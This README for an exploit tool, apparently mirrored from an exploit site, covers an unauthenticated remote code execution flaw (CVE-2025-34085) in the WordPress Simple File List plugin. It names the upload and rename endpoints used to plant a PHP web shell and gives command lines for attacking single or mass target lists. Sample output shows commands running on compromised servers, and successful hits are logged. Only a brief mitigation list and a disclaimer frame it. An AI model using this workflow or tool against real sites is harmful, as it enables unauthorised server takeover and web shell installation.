## https://sploitus.com/exploit?id=1F34D88C-6433-51B8-A1AF-9EC9FE6ACA94
# CVE-2025-34085 — WordPress Simple File List Unauthenticated RCE Exploit
An automated exploit and scanner for **CVE-2025-34085**, a critical vulnerability in the **WordPress Simple File List** plugin, enabling **unauthenticated remote code execution** through arbitrary file upload and rename functionalities.
---
## 📄 CVE Summary
- **CVE ID:** CVE-2025-34085
- **Affected Component:** WordPress Plugin — Simple File List
- **Vulnerability Type:** Unauthenticated File Upload & File Rename to Executable
- **Impact:** Remote Code Execution (RCE)
- **Exploit Author:** [0xgh057r3c0n](https://github.com/0xgh057r3c0n)
- **Access Vector:** Remote, unauthenticated
---
## ⚙️ Exploit Workflow
1. **Unauthenticated File Upload**
- Uploads a malicious file to:
`/wp-content/plugins/simple-file-list/ee-upload-engine.php`
2. **Rename to PHP Extension**
- Renames the uploaded file to a `.php` or similar extension via:
`/wp-content/plugins/simple-file-list/ee-file-engine.php`
3. **Execute Payload**
- Executes arbitrary commands by accessing the renamed web shell.
---
## 🚀 Usage
### 📌 Single Target
```bash
python3 CVE-2025-34085.py -u http://target.com --cmd "id"
````
### 📄 Multiple Targets
Put target URLs in `targets.txt` (one per line), then run:
```bash
python3 CVE-2025-34085.py --cmd "whoami"
```
---
## 🔧 Command-Line Options
| Argument | Description |
| ---------- | ------------------------------------------------------ |
| `-u` | Target URL (e.g., `http://example.com`) |
| `--cmd` | Command to execute on the remote shell (default: `id`) |
| `--inline` | Use inline payload (no `?cmd=` parameter) |
---
## ✅ Sample Output
```
[+] http://target.com | http://target.com/wp-content/uploads/simple-file-list/shell.php
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
Successful targets are saved to `vuln.txt`.
---
## 📁 Files
* `CVE-2025-34085.py` — Main exploit script
* `targets.txt` — (Optional) List of target domains
* `vuln.txt` — Log of successful exploits
---
## 🛡️ Mitigation
Administrators should:
* Update the plugin to its latest secure version.
* Restrict public access to upload and rename endpoints.
* Monitor uploaded content for unexpected PHP files.
* Deploy a WAF or endpoint protection system.
---
## 📘 Disclaimer
This project is intended for **educational and authorized testing purposes only**.
The author bears **no responsibility** for misuse or damage caused by this tool.
---
## 📄 License
This project is licensed under the **MIT License**.
📄 [View Full License Text](https://github.com/0xgh057r3c0n/CVE-2025-34085/blob/main/LICENSE)
---
## 👨💻 Author
**0xgh057r3c0n**
🔗 GitHub: [github.com/0xgh057r3c0n](https://github.com/0xgh057r3c0n)
---